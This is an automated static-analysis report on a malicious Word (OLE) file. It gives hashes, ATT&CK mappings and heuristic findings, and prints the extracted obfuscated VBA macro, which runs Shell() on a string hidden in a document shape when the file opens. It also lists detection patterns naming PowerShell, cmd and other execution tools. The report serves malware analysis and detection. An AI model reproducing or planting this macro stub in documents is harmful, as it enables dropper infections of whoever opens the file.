Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a62c6cd70fc718e9…

MALICIOUS

Office (OLE)

72.4 KB First seen: 2019-01-20
MD5: 0d08490e34522f93d9d3bf2a56d1fae7 SHA-1: fe54c4d0cf57fbebdeecdaadca409099c97b95ac SHA-256: a62c6cd70fc718e9debc8a462f21673a039bf1e08e261c4ec025efb99f55bdd7
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

This document contains a Document_Open macro that utilizes the Shell() function to execute a complex PowerShell command. The PowerShell command decodes a Base64 string, which likely contains a second-stage payload, and then executes it. The presence of cmd.exe and PowerShell references, along with the Shell() call, strongly indicates a downloader or dropper functionality.

Heuristics 8

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime (QHNopj + APsjMf / (LiGWQB + wfvnsd + uuNwCz + EqTbwz / (nGJdK + jYwEo)))
    RpISbwrES = Shell("" + cRAzCA + ikJfEG + Shapes(vRDSKZm + FwWwJHl + 1 + cZSiww + bYUfTZ).TextFrame.TextRange.Text + JXNhH + rPzEkWV, 978743524 - 978743524)
       TimeValue fliSU + VHPsz + pCmWp + zjXSKZ + bOzsSv + vvAhv + psBGS + FRBNK - uhVtAN + FYsCWO
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1298 bytes
SHA-256: a5cf6d82c9fbc7593c40b5be653635cc6ba00b747c00cf7cdfcdd91c1fd4ce89
Detection
ClamAV: No threats found
Obfuscation or payload: likely
35 of 68 identifiers look randomly generated (e.g. 'RpISbwrES'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "drDjoTIjj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber iHjDm + qCWsz * ruaCM + JVuKA * PYiIw + irfwDB - sYGUf + aEAAl + naopN + YHMnO
   TimeValue ZvalC + QQGjSS + GHYVS + OWdVq + HBEtP + rVFIqO / (RtSmj + owsMj + LTDThw + jkvwMW * (pazzwR + LAfwk + OCCOpU + EaoBXM))
   FormatNumber EbNFYs + YvUvDB / naPPX + ELTqCR + futEKi + buMwbH
   TimeValue (rGslMH + hzYqfc + IXCHRL + CPlVOo) + (NQnPzY + MzRFU + NwfTCJ + movUqj - prGQz + qTjlb)
   FormatNumber (WzFPt + NAtNS + zSXWzB + hijGs) + mOmvb + Bdmdiq - BwoBU + CMEIQi + KDwqqq + rGCaF
   FormatDateTime (QHNopj + APsjMf / (LiGWQB + wfvnsd + uuNwCz + EqTbwz / (nGJdK + jYwEo)))
RpISbwrES = Shell("" + cRAzCA + ikJfEG + Shapes(vRDSKZm + FwWwJHl + 1 + cZSiww + bYUfTZ).TextFrame.TextRange.Text + JXNhH + rPzEkWV, 978743524 - 978743524)
   TimeValue fliSU + VHPsz + pCmWp + zjXSKZ + bOzsSv + vvAhv + psBGS + FRBNK - uhVtAN + FYsCWO
   FormatNumber (rStCFb + zHiRzv + cZAoK + NkBvm - ppwpf + WTOzIL + (GThOL + OfkvSB + EYiGRz + zllDR))
End Sub